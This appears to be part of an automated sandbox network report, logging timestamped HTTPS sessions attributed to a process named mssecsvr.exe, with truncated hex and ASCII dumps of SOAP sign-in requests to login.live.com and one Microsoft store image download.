2022-07-20 11:24:16 UTC	832	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.7	50261	20.190.159.5	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:17 UTC	843	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4740 Host: login.live.com
2022-07-20 11:24:17 UTC	844	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 11:24:17 UTC	853	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 11:23:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 99147939-85f1-43ab-b947-b83a0f299708 PPServer: PPV: 30 H: BL02PF62C6D0DA3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 11:24:16 GMT Connection: close Content-Length: 11316
2022-07-20 11:24:17 UTC	854	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49729	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:37 UTC	63	OUT	GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2aa4f3afe248?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:37 UTC	64	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 4765 Content-Type: image/png Last-Modified: Wed, 04 Mar 2020 18:13:05 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QUY0QThGRjc" MS-CV: 0gdTj9M+eE6j3uUJ.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:37 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:37 UTC	64	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 12 64 49 44 41 54 78 5e ec d4 41 0d 00 20 10 03 b0 1d c1 bf e5 a1 81 e7 25 ad 88 4e db 6c 00 70 f2 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 Data Ascii: PNGIHDR,,y}udIDATx^A %Nlp@X ,aa@X@X ,aa@X ,@X ,a@X ,@X ,a@X ,aa@X ,@X ,aa@X ,@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.7	50262	20.190.159.23	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:17 UTC	848	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4659 Host: login.live.com
2022-07-20 11:24:17 UTC	849	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 11:24:17 UTC	865	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 11:23:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 21acef6e-04ba-482c-9c54-4f72ca29530e PPServer: PPV: 30 H: BL02PFCE8B8E7CD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 11:24:16 GMT Connection: close Content-Length: 10793
2022-07-20 11:24:17 UTC	865	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.7	50267	20.190.159.5	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:17 UTC	876	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 11:24:17 UTC	876	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 11:24:17 UTC	913	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 11:23:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 103f4e3f-8dd5-4fb4-a0cc-f9a79063ed08 PPServer: PPV: 30 H: BL02EPF00006766 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 11:24:17 GMT Connection: close Content-Length: 11093
2022-07-20 11:24:17 UTC	913	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.7	50268	20.190.159.5	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:17 UTC	881	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 11:24:17 UTC	881	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 11:24:17 UTC	901	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 11:23:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: dc442368-6dff-4603-8de1-6101f0adf2c7 PPServer: PPV: 30 H: BL02PF94B5A17C6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 11:24:17 GMT Connection: close Content-Length: 11093
2022-07-20 11:24:17 UTC	902	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.7	50271	20.190.159.5	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:17 UTC	886	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 11:24:17 UTC	886	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 11:24:17 UTC	924	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 11:23:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: c85eb063-6723-4839-9c0c-5ad83c91a3cc PPServer: PPV: 30 H: BL02PF1DA6B8E82 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 11:24:17 GMT Connection: close Content-Length: 11093
2022-07-20 11:24:17 UTC	925	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.7	50270	20.190.159.5	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:17 UTC	891	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 11:24:17 UTC	892	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 11:24:17 UTC	935	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 11:23:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 2e3689d3-6015-4c77-9770-2192fd729597 PPServer: PPV: 30 H: BL02EPF00006700 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 11:24:17 GMT Connection: close Content-Length: 11093
